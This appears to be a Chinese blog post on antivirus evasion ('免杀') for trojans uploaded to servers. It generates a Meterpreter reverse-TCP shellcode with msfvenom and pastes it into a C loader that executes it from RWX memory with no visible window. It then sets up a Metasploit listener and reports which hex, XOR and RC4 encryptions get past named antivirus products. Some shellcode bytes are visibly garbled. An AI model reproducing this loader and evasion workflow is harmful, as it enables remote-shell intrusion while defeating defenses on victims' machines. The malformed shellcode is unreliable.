免杀学习(1)

0x00前言

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名,(百度百科),简单理解就是一段漏洞利用代码。正常来说对服务器上传木马时,都会考虑一个问题,就是绕过杀毒软件的问题,也就是免杀问题

0x01涉及技术

shellcode混淆加密,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析

0x02 shellcode分析

cs/msf 生成shellcode时,要看清架构,是x86还是x64。

用vs2019编辑shellcode时,注意选择的架构,还有最好选择release模式(生成exe模式,所有需要的东西都打包了),但如果选择debug模式,可能会出现dll缺失,执行失败。

 

杀毒软件、态势感知平台,如何知道msf/cs生成的木马所外联的ip和端口?

用msf生成shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp  lport=6688  lhost=xxx    -f c

将下方代码复制到1.c中

 

1.c代码,生成project3.exe程序,没选择时架构选x86

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口


unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26"
"\x31\xc0\xac\\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x50\x8b\x48\x18"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x8929\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x65\x2a\xb1\xe8\x68\x02"
"\x00\x1a\x20\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\xf\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";





int main()

{
	//shellcode运行的几种方式

	//((void(WINAPI*)(void))&buf)();

	char* Memory;
	Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, buf, sizeof(buf));
	((void(*)())Memory)();

	//__asm {
	//lea eax,buf
	//call eax
	//}

	//__asm{
	//mov eax, offset buf
	//_emit 0xFF
	//_emit 0xE0
	//}

}

 msf配置监听器,并运行project3.exe,连接成功

msfconsole

 use multi/handler

set payload windows/x64/meterpreter/reverse_tcp

 set lport 6688
set lhost 0.0.0.0
run

分析shellcode,打开官方文档,查找ip和端口

把shellcode逆向,用ollydbg打开,call eax,自动步入,解码后就是16进制后的IP和端口,要隐藏IP

 

 

 0x03 shellcode混淆加密

Xor Aes Hex Rc4 等,前面的两种基本上是绕不过杀毒软件的,还有就是改用其他的回调函数,这个基本上也是绕不过的

hex加密

cs生成payload.bin

 

打开shellloader

cmd

LoaderMaker.exe payload.bin k.exe

运行k.exe,成功上线 ,xor,hex绕过某融,某defender失败

换回调方法,生成exe失败

rc4可以绕过某融,某defender,需要将shellcode加密两次

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值